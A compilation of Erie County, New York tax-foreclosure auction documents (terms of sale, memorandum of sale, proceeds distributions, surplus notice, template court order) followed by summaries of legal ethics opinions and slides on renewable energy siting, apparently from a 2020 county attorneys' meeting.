(e) so far as such proceeds shall suffice to pay the same, the several amounts due to the plaintiffs and defendants in such action, including the County of Erie, on the tax sale certificates held by them against the property, with all interest, penalties, additions and expenses allowed by law, in the inverse order of the date of issuance of such tax sale certificates.

Any and all taxes arising after the date of the filing of the Notice of Pendency survive the foreclosure sale to the extent not paid by the proceeds of sale and are the responsibility of the purchaser.

The Referee will exercise due diligence in ascertaining the taxes, assessments, water, sewer and other municipal
liens against the property as of the date of the sale, but makes no guarantees or warranties as to that information. Any liens or other encumbrances which are not disclosed to the Referee or the County’s closing attorney prior to the closing date or are discovered after the closing date become the sole responsibility of the purchaser. Further details are provided on Exhibit A attached.

The aforesaid terms of this paragraph 4 do not apply if the County shall, previous to the delivery of the deed, produce to the Referee proof of the payment thereof.

5. The purchaser of said premises will, at the time and place of sale, sign a memorandum of his purchase, and an agreement to comply with the terms and conditions of sale herein contained.

6. In case any purchaser shall fail to comply with any of the terms conditions of sale, including without limitation not paying the required deposit, the bidder and/or purchaser shall be deemed to be in default and the premises so struck down to him may again be put up for sale under the direction of said Referee, without application to the Court, unless the County's attorney shall elect to make such application.

The bidding will be kept open after the property is struck down and in any case where a bidder and/or purchaser failed to comply with any of the terms and conditions.

The Referee reserves the right to sell the premises to the second highest bidder and/or an alternate bidder.

In the event of a resale, purchaser shall be held liable for the difference between the amount received upon resale and the amount of purchaser's original bid, interest on the original bid at 9 per cent per annum from the date of the first sale to the ultimate delivery of the Referee’s deed, plus costs, expenses and fees (including attorneys’ fees) occurring as a result of said resale. Purchaser's deposit shall be applied to said deficiency, with any overage refunded to said purchaser. Purchaser shall be liable for any remaining deficiency.

Should the County be the successful bidder at said resale or if the premises is not resold, the purchaser's deposit shall be forfeited. Such forfeiture shall not be a waiver of any rights of the County to seek and obtain other damages as allowed for by law.

7. The premises are being sold in “AS IS” condition defined as the condition of the premises as of the date of the sale and continuing through the date of the closing. And subject to: any zoning restrictions and any amendments thereto, according to law, and now in force; subject to the state of facts an accurate survey may show; rights of the public and others in and to any part of the premises that lies within the bounds of any street, alley, or highway; covenants, restrictions, agreements, reservations and easements of record, if any, and to any and all violations thereof; any and all building and zoning regulations, restrictions and ordinances of the municipality in which said premises are located, and violations and/or liens of same, including, but not limited to, reapportionment of lot lines, and vault charges, if any; any and all orders or requirements issued by any governmental body having jurisdiction against or affecting said premises and violations of the same; the physical condition of any buildings or structure on the premises as the date of sale hereunder; the rights of the United States of America to redeem, if any; rights of tenants, occupants or squatters, if any. It shall be the responsibility of the purchaser to evict or remove any parties in possession of the premises being foreclosed herein. There shall be no adjustment on a pro-rata basis in favor of the purchaser for any rents that are paid for a period after the date of this sale.

8. The risk of loss or damage by fire, vandalism or other cause between the time of sale and delivery of the deed is assumed by the Purchaser.

9. As to any information from whatever source provided on behalf of the County concerning the premises, the County makes no guarantee regarding the accuracy or completeness of such information. Purchaser is responsible for performing his own independent investigation.

10. The County makes no representations or warranties with respect to the marketability or insurability of the title to the premises being sold and in the event that the Referee is unable to convey title to the subject premises
as set forth herein and/or in the Judgment of Foreclosure and Sale, or the Referee’s Deed is found to be defective subsequent to the delivery of the deed, purchaser's remedy shall be limited to the return of those sums actually paid on account of the purchase price, and neither the Referee nor the County nor the County’s attorneys herein shall be liable to the purchaser for any sum whatsoever, including consequential or other damages, or for any monies advanced for any purpose whatsoever by purchaser.

11. The County shall prepare and provide a Referee’s Deed to the purchaser. All other expenses of closing, including but not limited to, costs of Recording the Referee’s Deed, including Real Property Transfer Tax and Transfer Stamps, if any, and title continuation charges and title insurance costs shall be borne by the purchaser. Referee will not furnish an abstract of title or survey.

12. If there is a conflict between these terms of sale and any pleading filed in the foreclosure action, then the provisions of these Terms of Sale shall control.

13. The bidder and/or purchaser and/or assignee has no legal authority to enter the property or to remove belongings of prior owner(s) or tenant(s) or to alter or modify the property in any way, to charge rents or to evict until the closing is finalized and the deed is recorded.

14. The bidder and/or purchaser and/or assignee represents that he/she is not the presumptive owner of the foreclosed premises.

15. The bidder and/or purchaser and/or assignee represents that he/she is current with any and all financial obligations to municipalities throughout the County of Erie within which he/she owns property (i.e. taxes, water, sewer, user fees, violations, etc.).

16. The County shall refuse to transfer title to any person, including without limitation to an individual, corporation, partnership, association, Individual Retirement Account (IRA) Owner, Limited Liability Company or vendor (and each of such person’s principals, partners, associates, members, etc.), who is not current on all obligations owed to municipalities throughout the County of Erie, its authorities and agencies, as of the Settlement Date. The County shall also refuse to transfer title to a delinquent homeowner who purchases his/her own property or another property at auction and such person will forfeit his/her deposit and/or final payments. If a person (bidder, purchaser and/or assignee) is not current on all such obligations as of the Settlement Date, all monies tendered by the bidder, purchaser and/or assignee shall be forfeited or be applied towards the outstanding obligations owed to the County of Erie and its authorities and agencies.

17. The Referee shall have the right to set aside a bid by any person deemed by him not to be a responsible bidder and/or purchaser and immediately put up the premises for sale again.

18. The County reserves the right to rescind the sale due to filing of Bankruptcy and inadequate notice to the prior owner and/or any other party in interest/lienholder.

Dated: September 26, 2018

SCOTT A. BYLEWSKI, ESQ.
Erie County Director of Real Property Tax Services, as Referee
Exhibit A

Bidders at the tax foreclosure sale are advised that if winning bid amounts are not sufficient to satisfy certain real estate tax liens, these liens remain open, valid and enforceable.

At the beginning of this foreclosure proceeding, the List of Delinquent Properties was filed in the Erie County Clerk’s Office on ________________. This document served as a Notice of Pendency relative to the property at issue herein. The Notice of Pendency confirms the filing of the foreclosure against the premises involved. By law, tax liens arising after the date of the filing of the Notice of Pendency survive the foreclosure sale. If the funds paid by the winning bidder to acquire the premises are not sufficient to pay these taxes, they continue to attach to the premises and are the responsibility of the new owner.

For each parcel in this In Rem _____ auction, the Notice of Pendency date is ________________. Tax liens arising subsequent to that date survive the sale to the extent not paid by the bid proceeds. Tax liens arising prior to ________________ are eliminated by the sale if not fully paid by the bid proceeds.

Any and all taxes that arise after the Notice of Pendency filing on ________________ survive the sale to the extent not paid by the bid proceeds.

The Referee shall not be responsible for any liens, assessments or other encumbrances not discovered until after the closing. In such a circumstance, the purchaser shall be responsible for paying or otherwise resolving such liens, assessments or encumbrances and shall have no recourse against the Referee, the County of Erie, its agents, servants or employees.
MEMORANDUM OF SALE

«Property_Address», «City»
«Serial»

I, __________________________________________ have this 26th day of September, 2018, purchased the premises described in the annexed Notice of Sale for the sum of __________________________________________ dollars ($____________________) and hereby promise to comply with the terms and conditions of the sale of said premises as set forth in the attached Terms of Sale and in this Memorandum of Sale.

1. The County will prepare a Referee’s Deed in the name of the person or entity set forth below. Any requests for assignments, name changes, additional descriptions or other changes made after the date of the sale will not be processed unless a fee of $75.00 is paid by the party requesting the same.

   Name on Deed: __________________________________________
   Address: __________________________________________
   Phone: _______________________

2. All property is sold “AS IS”. Purchaser is responsible for all liens for taxes, water, sewer and other municipal charges arising after ________________ to the extent that the bid price does not cover those liens.

3. The balance of the bid price shall be paid in cash or certified funds payable to: Scott A. Bylewski, Esq., Referee on or before October 26, 2018 or the deposit will be forfeited. Funds must be delivered to Referee’s agent 50 Fountain Plaza, Suite 1700, Buffalo, New York 14202. The Referee, at his sole discretion, may extend the deadline, but is in no way obligated to do so.
4. The County shall prepare and provide a Referee’s Deed to the purchaser. All other expenses of closing, including but not limited to costs of Recording the Referee’s Deed, including Real Property Transfer Tax and Transfer Stamps, if any, and title continuation charges and title insurance costs shall be borne by the purchaser.

Dated: September 26, 2018

__________________________________________________________ Purchaser

Received from the said purchaser the sum of ____________________________________________________________

__________________________________________________________ dollars ($______________________), being at least twenty percent (20%) of the amount bid (or a sum of $500.00 whichever is greater) by said purchaser for the property sold by me pursuant to the Judgment of Foreclosure and Sale relative to the property described in the Notice of Sale.

__________________________
Scott A. Bylewski, Esq.
Erie County Director of Real Property Tax Services
Referee

Closing Contact Information
Lippes Mathias Wexler Friedman, LLP
Margaret A. Hurley, Esq.
50 Fountain Plaza, Suite 1700
Buffalo, New York 14202
716 884-3135 phone
716 853-5199 fax
mhurley@lippes.com
Amy Honan, Legal Assistant
ahonan@lippes.com
**FOR INFORMATIONAL PURPOSES ONLY - THIS DOCUMENT IS NOT A BILL**

**Please note that any Taxes/Assessments that have become liens subsequent to the Lis Pendens date of 5/6/2019, that are not paid by the proceeds of sale, are the responsibility of the purchaser**

**SALE PRICE**

<table>
<thead>
<tr>
<th>Total Paid</th>
<th>Total Due</th>
</tr>
</thead>
<tbody>
<tr>
<td>$177,000.00</td>
<td></td>
</tr>
</tbody>
</table>

**Taxes/Assessments Due**

<table>
<thead>
<tr>
<th>Year</th>
<th>Description</th>
<th>Total Paid</th>
<th>Total Due</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019</td>
<td>School Tax payable to Town by 12/2/2019</td>
<td>$4,525.75</td>
<td>$4,525.75</td>
</tr>
<tr>
<td>2020</td>
<td>Village Tax (relevy)</td>
<td>$2,872.77</td>
<td>$2,872.77</td>
</tr>
<tr>
<td>2019</td>
<td>Water charges</td>
<td>$103.21</td>
<td>$103.21</td>
</tr>
<tr>
<td>2016</td>
<td>Foreclosure Fee</td>
<td>$500.00</td>
<td>$500.00</td>
</tr>
<tr>
<td>2019</td>
<td>County Taxes</td>
<td>$11,532.89</td>
<td>$11,532.89</td>
</tr>
<tr>
<td>2018</td>
<td>County Taxes</td>
<td>$13,251.50</td>
<td>$13,251.50</td>
</tr>
<tr>
<td>2017</td>
<td>County Taxes</td>
<td>$15,368.98</td>
<td>$15,368.98</td>
</tr>
<tr>
<td>2016</td>
<td>County Taxes</td>
<td>$12,542.79</td>
<td>$12,542.79</td>
</tr>
</tbody>
</table>

**TOTAL DISTRIBUTION**

<table>
<thead>
<tr>
<th>Total Paid</th>
<th>Total Due</th>
</tr>
</thead>
<tbody>
<tr>
<td>$60,697.89</td>
<td>$60,697.89</td>
</tr>
</tbody>
</table>

**SURPLUS**

<table>
<thead>
<tr>
<th>Total</th>
<th>$116,302.11</th>
</tr>
</thead>
</table>

**Taxes Paid:**

- $60,697.89

**Erie County Comptroller-Surplus Monies:**

- $116,302.11

**TOTAL:**

- $177,000.00
**FOR INFORMATIONAL PURPOSES ONLY - THIS DOCUMENT IS NOT A BILL**

**Please note that any Taxes/Assessments that have become liens subsequent to the Lis Pendens date of 5/6/2019, that are not paid by the proceeds of sale, are the responsibility of the purchaser**

<table>
<thead>
<tr>
<th>Taxes/Assessments Due</th>
<th>Total Paid</th>
<th>Total Due</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019 School Tax payable to Tax Receiver by 10/31/19</td>
<td>$47.90</td>
<td>$47.90</td>
</tr>
<tr>
<td>2019 Water charges (none -vacant land)</td>
<td>$0.00</td>
<td>$0.00</td>
</tr>
<tr>
<td>2016 Foreclosure Fee</td>
<td>$500.00</td>
<td>$500.00</td>
</tr>
<tr>
<td>2019 County Taxes</td>
<td>$107.86</td>
<td>$107.86</td>
</tr>
<tr>
<td>2018 County Taxes</td>
<td>$125.20</td>
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</tr>
<tr>
<td>2017 County Taxes</td>
<td>$137.86</td>
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<tr>
<td>2016 County Taxes</td>
<td>$81.18</td>
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<tr>
<td>2015 County Taxes</td>
<td>$0.00</td>
<td>$163.36</td>
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<td>2014 County Taxes</td>
<td>$0.00</td>
<td>$175.80</td>
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<tr>
<td>2013 County Taxes</td>
<td>$0.00</td>
<td>$188.43</td>
</tr>
</tbody>
</table>

**TOTAL DISTRIBUTION** | **$1,000.00** |

**TOTAL DUE** | **$1,597.81** |

**DEFICIENCY** | **$597.81** |

Taxes Paid: | $1,000.00 |

**TOTAL:** | **$1,000.00**
DISTRIBUTION OF SALE PROCEEDS

**FOR INFORMATIONAL PURPOSES ONLY - THIS DOCUMENT IS NOT A BILL**

**Please note that any Taxes/Assessments that have become liens subsequent to the Lis Pendens date of 5/8/2017, that are not paid by the proceeds of sale, are the responsibility of the purchaser**

<table>
<thead>
<tr>
<th>Taxes/Assessments Due</th>
<th>Total Paid</th>
<th>Total Due</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019 School Tax payable to Town by 12/2/2019</td>
<td>$10,498.64</td>
<td>$10,498.64</td>
</tr>
<tr>
<td>2019 Water charges (none -service is shut off)</td>
<td>$0.00</td>
<td>$0.00</td>
</tr>
<tr>
<td>2014 Foreclosure Fee</td>
<td>$500.00</td>
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<td>2011 Foreclosure Fee</td>
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<tr>
<td>2019 County Taxes</td>
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<tr>
<td>2018 County Taxes</td>
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<tr>
<td>2017 County Taxes</td>
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<td>$29,365.65</td>
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<td>2016 County Taxes</td>
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<tr>
<td>2015 County Taxes</td>
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<td>2014 County Taxes</td>
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<tr>
<td>2013 County Taxes</td>
<td>$0.00</td>
<td>$48,675.21</td>
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<tr>
<td>2012 County Taxes</td>
<td>$0.00</td>
<td>$51,659.25</td>
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<tr>
<td>2011 County Taxes</td>
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<td>$55,192.34</td>
</tr>
<tr>
<td>2010 County Taxes</td>
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<tr>
<td>2009 County Taxes</td>
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<td>$61,135.03</td>
</tr>
<tr>
<td>2008 County Taxes</td>
<td>$0.00</td>
<td>$62,693.50</td>
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</table>

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>TOTAL DISTRIBUTION</td>
<td>$20,000.00</td>
<td></td>
</tr>
<tr>
<td>TOTAL DUE</td>
<td></td>
<td>$550,366.45</td>
</tr>
<tr>
<td>DEFICIENCY</td>
<td></td>
<td>$530,366.45</td>
</tr>
</tbody>
</table>

Taxes Paid: $20,000.00  
TOTAL: $20,000.00
IMPORTANT NOTICE
FORECLOSURE SURPLUS MONIES
INDEX NO.: 2019-600121

Date: February 11, 2020

John Smith
123 Street
Town, NY 14000
Serial: 000000

Property: 123 Street
SBL:

Dear Sir or Madam:

The above noted property was sold at the Erie County In Rem foreclosure auction on September 25, 2019. Our records indicate that you were the owner of this property.

You are receiving this notice because, as the prior owner of the property, you may be entitled to surplus monies remaining after the foreclosure auction of the property.

All surplus monies have been deposited with the Erie County Comptroller’s Office. A copy of the surplus monies report is attached for your reference.

You must follow the required legal procedure to determine if you are eligible to receive and/or obtain the surplus monies. Therefore we suggest you contact an attorney to assist you.

Please be advised that neither this office nor the County of Erie can represent you in the proceeding to obtain surplus monies. Contact the Department of Real Property Tax Services at (716) 858-8333 or go online to http://www2.erie.gov/ecrpts/ for more information.

Very truly yours,

Lippes Mathias Wexler Friedman, LLP
Counsel for the County of Erie

Margaret A. Hurley, Esq.

Enclosure(s)
At a Special Term of Erie County Court, held in the county Hall in the City of Buffalo, New York on the ____ day of September, 2020

PRESENT: HONORABLE

STATE OF NEW YORK
COUNTY COURT : COUNTY OF ERIE

IN THE MATTER OF FORECLOSURE OF TAX LIENS BY PROCEEDING IN REM PURSUANT TO THE IN REM PROVISIONS OF THE ERIE COUNTY TAX ACT AND THE RESOLUTION OF THE ERIE COUNTY LEGISLATURE AS SHOWN BY RESOLUTION NO. 54 AT PAGE 179 OF THE MINUTES OF THE PROCEEDINGS OF SAID LEGISLATURE FOR THE YEAR 2019

MOTION having been made by the Respondent for an Order restraining and enjoining the Petitioner, County of Erie, from enforcing the In Rem Judgment of Foreclosure and Sale relative to the property referenced above;

NOW, upon the application of the Respondent; and upon the appearance of (attorney) on behalf of the Respondent, and of Margaret A. Hurley, Esq. on behalf of the Petitioner, County of Erie; and upon all pleadings and proceedings herein; it is hereby

ORDERED that the Respondent’s application is granted insofar as it seeks an Order enjoining and restraining the Petitioner, County of Erie, from selling the premises known as 123
Street, Town, New York at the In Rem Public Auction scheduled for September 30, 2020; and it is further

ORDERED that the Respondent remit payment in the amount of $2,250.00 to the Erie County Department of Real Property Tax Services via certified funds; and it is further

ORDERED that should the Judgment of Foreclosure and Sale remain unsatisfied for Sixty (60) days after entry of this Order, the Petitioner may, without further proceedings, auction the property located at 123 Street, Town, New York, and that the Respondent shall be responsible to reimburse the County of Erie for any additional expenses incurred or associated with any subsequent sale and that such expenses shall become a lien against the above noted property.

DATED

HON.
Ethics Update

Kyle Kordich, Esq.
ETHICS UPDATE

Presented by Kyle N. Kordich, Esq.

Summary of Recent Opinions
(Relevant to government attorneys)

- **NYSBA Opinion 1191-**
  - Rules 1.6, 1.7, 1.9, 1.13
  - Topics: Legal duty to client, Conflicts of interest, Reporting wrongdoing
    - What are the obligations of a municipal counsel when faced with serious and credible allegations of wrongdoing by municipal employees adversely affecting the municipal corporation?
    - What are the municipal counsel’s duties when the counsel’s office has previously represented, or continues to represent, the alleged wrongdoers, in their official capacities?
  - Facts/Conclusion:
    - Counsel for a municipal corporation owes a duty solely to the municipal corporation. Upon learning information of serious allegations by municipal employees injurious to the municipality, corporation counsel should report the information to higher authorities within the municipal unit, including, if need be, to the highest authority.
    - A prior or current representation of the employees in their official capacities does not relieve the corporate counsel of this duty.

- **NYSBA Opinion 1187-**
  - Rules 1.7(a), 1.7(b), 1.11(c), 1.11(d), and 1.11(f)
  - Topics: Conflicts of interest
  - Facts/Conclusion:
    - The inquirer is a police officer with a Village Police Department in New York and is admitted to practice law in New York. The inquirer wants to represent defendants in traffic court, both in the county where the inquirer serves as a police officer and in other counties.
    - On our view, whether a police officer may represent clients in traffic violation matters depends on the facts and circumstances of the representation, with two caveats. First, a police officer engaged in private legal practice may not represent traffic court defendants in the same county where the police officer works, because such conflicts arising under Rule 1.7(a)(2) would on our view not be subject to consent under Rule 1.7(b)(1). Second, whatever confidential information the inquirer
learns in private practice with respect to a traffic court client or prospective client, the inquirer must not use or reveal that information to advance his work as a Village police officer except as permitted by Rules 1.6, 1.9(c), and 1.18(b).

- Applying Rule 1.7(a)(2) to the facts before us, we believe that a reasonable lawyer would perceive a “significant risk” that, in some cases, the inquirer’s professional judgment on behalf of a traffic court client will be adversely affected by the inquirer’s financial and personal interests. The inquirer’s financial and personal interests include staying in the good graces of his superiors on the police force and in Village government, as well as not incurring the wrath of peers in police departments in the Village and in other towns and villages.

- Applying Rule 1.7(b)(1), our analysis of consent depends on whether the traffic court matter is in the same county where the inquirer serves as a police officer or instead in some other county. When a traffic court defendant will appear in a traffic court in the same county where the inquirer serves as a police officer, we believe the conflict is not subject to consent. But in other counties, the outcome will turn on whether the inquirer reasonably believes the inquirer will be able to provide competent and diligent representation to the traffic court defendant as required by subparagraph (b)(1). This is a case-by-case determination, depending on all of the facts and circumstances

**NYSBA Opinion 1170-**

- Rules 1.7(a)(1), 1.7(a)(2), 1.11(c), 1.11(d) and 1.11(f)
- Topics: Conflicts of interest, Village Attorney, Private Clients
- Facts/Conclusion:
  - Village had no village justice court or separate village police department. Village attorney did not represent Village in Town Court, where village ordinance violation cases are adjudicated. Town Court also oversees all traffic matters arising out of geographical bounds of the Town, which envelopes the Village. The Village receives some revenue as the result of disposition of some criminal matters and the disposition of village ordinance violations but does not contribute to the cost of operating the town court in any manner.
  - The inquiring village attorney has been appearing in Town Court, representing clients on matters wholly unrelated to the village. He is not ethically prohibited from representing private clients in defense of Vehicle and Traffic Law violations, criminal proceedings, or Town Ordinance violation cases brought in the Town Justice Court, provided that no uncontested financial or business conflicts of interest exist, and provided
that the provisions on current government employees in Rule 1.11 are respected.

- **NYSBA Opinion 1169**
  - Rules: 1.11(c), (d) and (f)
  - Topics: Town Supervisor; Law Practice; Conflict of Interest
  - Facts/Conclusion:
    - The inquirer is an attorney in private practice in a Town, a municipal corporation, where the inquirer regularly represents business clients located within the boundaries of the municipality. The inquirer wishes to seek public office as Town Supervisor, the powers of which could potentially affect some private clients.
    - Initially, in addition to the Rules of Professional Conduct, a governmental body may have adopted other rules regulating the private business endeavors of public officers. Rule 1.11(d) makes clear that any law or regulation governing the conduct of a current governmental official has priority over the Rules.
    - While Rule 1.11 does not prohibit the inquirer from representing private clients located within the Township while he is serving as Town Supervisor, subject to any further restrictions under applicable law, the inquirer cannot represent any private client in a matter involving the Town and should not participate, in his role as a public official, in any matter in which he participated personally and substantially while in private practice. Additionally, the inquirer may not negotiate for private employment with any party involved in matters with the Township in which he would have a role. The inquirer should also avoid the use of his public office to obtain special treatment for a private client, to influence a tribunal in favor of a client, or to receive consideration from anyone in the guise of legal fees in order to influence official conduct. Finally, if the inquirer acquires confidential government information about any person, the inquirer may not represent a private client with interests adverse to that person in a matter in which the information could be used to that person’s material disadvantage.

- **NYSBA Opinion 1148**
  - Rules: 1.0(j), 1.6, 1.9(a) & (c), 1.11(a) & (c).
  - Topics: Conflicts of Interest: Former government lawyer in private practice
  - Facts/Conclusions:
    - A lawyer formerly employed by a county department to handle child support enforcement proceedings may, after termination of such
employment, represent respondents in such proceedings, provided that the lawyer was not personally and substantially involved in the same matter while a government employee

- Nothing in the Rules creates an absolute bar to a former government attorney’s representation of a client in opposition to the attorney’s former employer. Rule 1.11(a)(2) is the principal Rule governing conflicts that may be faced by a former government attorney. N.Y. State 1029 ¶ 9 (2014). Rule 1.11(a) provides in pertinent part that “a lawyer who has formerly served as a public officer or employee of the government . . . shall not represent a client in connection with a matter in which the lawyer participated personally and substantially as a public officer or employee, unless the appropriate government agency gives its informed consent, confirmed in writing, to the representation.” Hence, Rule 1.11(a)(2) allows a former government attorney to represent private clients on matters in which the attorney did not participate “personally and substantially” while in government service.

- The history of Rule 1.11(a)(2) makes “clear that the disqualification must be based on the lawyer’s “personal participation to a significant extent”, which standard differs from Rule 1.9(a), a rule more generally regulating a lawyer’s duty to former clients. Absent the former client’s informed consent, the differing language of the two Rules reflects their different objectives. Rule 1.9(a) bars representation adverse to a former client “in the same or a substantially related matter” to the matter in which the lawyer previously represented a client. Rule 1.11(a) bars representation by a former government employee adverse to the former client only in the same specific matter as the matter in which the lawyer participated “personally and substantially” during the lawyer’s government employment.

- Consequently, we conclude that a onetime government lawyer may represent clients adverse to the lawyer’s former government employer unless that lawyer had a personal and substantial involvement in the same specific matter in which the lawyer now proposes to challenge the government’s position.

- **NYSBA Opinion 1130**
  - Rules: 1.0 (f), (r) & (w), 1.7(a), 1.7(b)
  - Topics: Imputing Conflicts of Interest, Town Attorney
  - Facts/Conclusions:
    - A lawyer who is town attorney may not concurrently represent private clients whose interests are adverse to the town – and Rule 1.10(a) imputes the town attorney’s conflicts to his entire firm.
Objective criteria, including public trust in the processes of government, are integral to the analysis of whether a conflict of interest is consentable. This analysis necessarily involves consideration of the public’s reasonable view of a single law firm handling both sides of an issue that affects the public in a significant way, such as allowing industrial use of land abutting residential properties and an educational institution. Whether or not the issue provokes widespread controversy, we believe that our Opinion 630 correctly captures the ethical concerns that this inquiry raises. Where lawyers from a single law firm are both filing an application with a public agency on behalf of a private client and advising the government agency about the applied-for change in the town’s current zoning and planning program, government decision-making is affected in ways that consent cannot ameliorate.

A nonconsentable conflict exists when one member of a law firm acts as Town Attorney on, among other things, planning and zoning matters and another lawyer in the firm seeks to represent an applicant before the Town’s planning board.
Summary of Recent Opinions
(Relevant to legal practice in the coronavirus era)

- NYSBA Ethics Opinion 1189
  - Rules 1.4, 1.6
  - Topics: Client Communication
  - Facts/Conclusion
    - The inquirer is concerned about situations in which it becomes hard to reach clients. As an example, the inquirer notes having been “in regular contact with [a client] for a litigation and related settlement negotiations. But since the ongoing COVID 19 pandemic, [the inquirer has] been unable to reach him by email or phone despite multiple attempts.”
    - A lawyer, so as to protect the ability to reach and communicate with a client, may ask the client to designate a person for the lawyer to contact in the event the lawyer is unable otherwise to reach the client.

- NYSBA Ethics Opinion Number 1176
  - Rules: 1.15(a), (b)(1), (b)(3)
  - Topics: Escrow Account, Commingling
  - Facts/Conclusion
    - The inquirer's trust or escrow account has had a zero balance of funds for a period of time. The inquirer apprehends that the bank may close the account for inactivity or failure to maintain the requisite minimum balance. The inquirer is concerned that, if the inquirer deposits lawyer funds into the account to avoid bank sanction and thereafter receives client funds for deposit into the trust or escrow account, the inquirer could be impermissible commingling funds.
    - Most pertinent to this inquiry, is Rule 1.15(b)(3), which says that funds “reasonably sufficient to maintain the account or to pay account charges may be deposited therein.” This is simple common sense - that a lawyer may provide a cushion from the lawyer's own funds to maintain the account and cover account charges. This is no license to pad the account with the lawyer's money: the words “reasonably sufficient” mean than that a lawyer may pay into the account such amounts as may be reasonably adequate to meet whatever bank requirements exist to sustain the account, pay the bank's charges, and meet the minimal thresholds that the bank imposes for the account to endure. Amounts beyond those “reasonably sufficient” to maintain the account may cross the line of commingling.
    - Thus, a lawyer may make nominal deposits of the lawyer's own funds into a trust or escrow account to avoid the account being closed for inactivity or failure to maintain minimum balance.
Summary of Other Ethics Materials

• ABA Formal Opinion 488
  o Rule: Model Rule 2.11
  o Topic: Judge’s relationship with lawyers or parties as grounds for disqualification or disclosure
  o Facts/Conclusions:
    ▪ Rule 2.11(A) of the Model Code provides that judges must disqualify themselves in proceedings in which their impartiality might reasonably be questioned and identifies related situations.
    ▪ Personal bias or prejudice is an unwaivable ground requiring disqualification. The Rule also favors disqualification if the Judge, Judge’s spouse, or a person within the third degree of relationship of either of them is: a party, a lawyer, otherwise has an interest in the proceeding, or is likely to be a material witness in the proceeding. Similarly the Rule mandates disqualification in the event that a party, lawyer, or law firm has made contributions to the Judge’s election campaign in specific amounts over time.
    ▪ Other categories of relationships possibly impacting Judge’s impartiality include: acquaintances; friends, and other close personal relationships.
    ▪ Acquaintances are those who have coincidental or relatively superficial interactions with the Judge (e.g. professional association meetings, parent-teacher functions for children, overlapping social circle, patronizing the same businesses in the same area, religious services). Neither is seeking contact with the other even though they are cordial when their lives intersect. Such a relationship is not a reasonable basis for questioning the Judge’s impartiality. The Judge has no duty to disclose such a relationship.
    ▪ Friendships imply a closer degree of affinity than an acquaintance; although not all friendships are the same. On one end of the spectrum, a Judge and Lawyer may share a past relationship (colleagues and/or classmates) and occasionally meet for a meal when the opportunity presents itself. Friends may also exchange gifts on holidays and special occasions, seek out regular social interactions, regularly community and coordinate family or other group activities. Ultimately not all friendships require disqualification. Whether a friendship is of such a degree that requires disclosure or disqualification is a case-by-case issue. A Judge should disclose the extent of a friendship with a party or lawyer involved.
in a particular matter that the Judge believes might be reasonably considered in the context of a motion for disqualification. The Judge should permit such a motion and create a record to support the Judge’s ultimate decision on such motion.

- Close personal relationships go beyond or differ from the concepts of friendship. This might include romantic entanglements, or situations of shared custody of children or business endeavors. A Judge should disclose the extent of such a relationship to permit a motion for disqualification and create a record to support Judge’s ultimate decision on such motion.

• **ABA Formal Opinion 483**
  - Rule: Model Rule 1.4
  - Topics: Client communication following cyber attack
  - Facts/Conclusions:
    - A lawyer has an ethical responsibility to use reasonable efforts when communicating confidential information over the Internet.
    - Following a data breach exposing confidential information an Attorney’s course of conduct depends on the nature of the incident, the ability of the attorney to know about the facts and circumstances surrounding the attack, and the attorney’s responsibility in the law firm operations.
    - According to Model Rule 1.1 a lawyer should be competent to understand the technologies being used to deliver services to their clients. This may be satisfied by personal study and investigation or by employing qualified personnel (lawyers and non-lawyer assistants).
    - The reasoning inherent in the Model Rules (particularly Rules 5.1, 5.2, and 5.3) obligate an attorney to monitor the technology and resources used by a firm to protect the confidential information transmitted thereby. This includes monitoring those given access to the technology.
    - Not every cyber episode will trigger the obligations described in this opinion. The key issue is whether material client confidential information is actually compromised. Such information is compromised where it is stolen/obtained by another or where the attorney’s access to the same is blocked with ransomware.
    - Model Rule 1.1 requires a lawyer to act reasonably and promptly to stop a breach and mitigate resulting damage. Lawyers should consider proactively developing an incident response plan to ensure appropriate actions are taken. The primary goal of such plan should permit prompt identification and evaluation of any network intrusion, the quarantine of any malware; shutdown of system access and/or other prevention of unauthorized exfiltration of data.
Model Rule 1.6 requires a lawyer to make reasonable efforts in preventing the inadvertent or unauthorized disclosure of confidential information. The extent of such efforts to safeguard information takes into account the sensitivity of the information, the likelihood of disclosure if safeguards are not employed, the cost of safeguards, and the difficulty/burden of implementing safeguards.

Disclosure of a breach is required where it is likely to affect the position of the client or the outcome of the legal matter. The Model Rules do not suggest that the same communication is owed to former clients. No notification is required if the lawyer’s office file server was subject to a ransomware attack but no information relating to the representation of a client was inaccessible for any material amount of time, or was not accessed by or disclosed to unauthorized persons. Conversely, disclosure will be required if material client information was actually or reasonably suspected to have been accessed, disclosed or lost in a breach. The extent of the notification must be sufficient enough to provide the client the ability to make an informed decision as to what to do next, if anything.
Renewable Energy Siting

Gary S. Bowtich, Esq.
RENEWABLE ENERGY FACILITY SITING IN NEW YORK

CAASNY 2020 ANNUAL MEETING
SEPTEMBER 15, 2020

Gary S. Bowitch, Esq.
Bowitch and Coffey LLC
AGENDA

- Review of current Article 10 process
- Review of the new “Accelerated Renewable Energy Growth and Community Benefit Act”
- Questions and Answers
INTRODUCTION

- 2011: Public Service Law Article 10 enacted for siting of power plant of 25MW and greater
- July 2019: New York enacted the Climate Leadership and Community Protection Act ("CLCPA")
  - 40% emissions reductions from 1990 levels by 2030 and 85% emissions reductions by 2050
  - 70% electricity must be renewable energy by 2030
  - 100% of electric supply must be emissions free by 2040.
- April 2020: New York enacted the Accelerated Renewable Energy Growth and Community Benefit Act
PSL ARTICLE 10

- Applies to non-renewable and renewable energy facilities of 25 MW or greater
- State Board on Electric Generation Siting and the Environment (“Siting Board”)
  - Members: PSC, DEC, DOH, ESD, NYSERDA and 2 ad hoc local members
- Siting Board oversees siting process
- Siting Board issues a Certificate of Environmental Compatibility and Public Need
- Proscribed process: one-stop permitting with specific steps and time frames
Article 10 Supplants SEQRA Review
- SEQRA still applies to facilities under 25 MW

Other State or Local Approvals Not Required

2 Stages:
- Pre-application Stage: Preliminary Scoping Process
- Application Stage:
  - Discovery, issue identification, adjudicatory hearing, briefing and Siting Board decision
PSL ARTICLE 10

- Intended to ensure broad public involvement opportunities throughout the Article 10 siting process
- Intervenor Parties
  - Municipality and residents where facility is located
  - Others
- Intervenor Funding
  - Paid by applicant
  - For legal and expert fees and expenses
  - Pre-application stage: $350/MW up to $200,000
  - Application stage: $1,000/MW up to $400,000
  - Minimum of 50% funding to municipalities
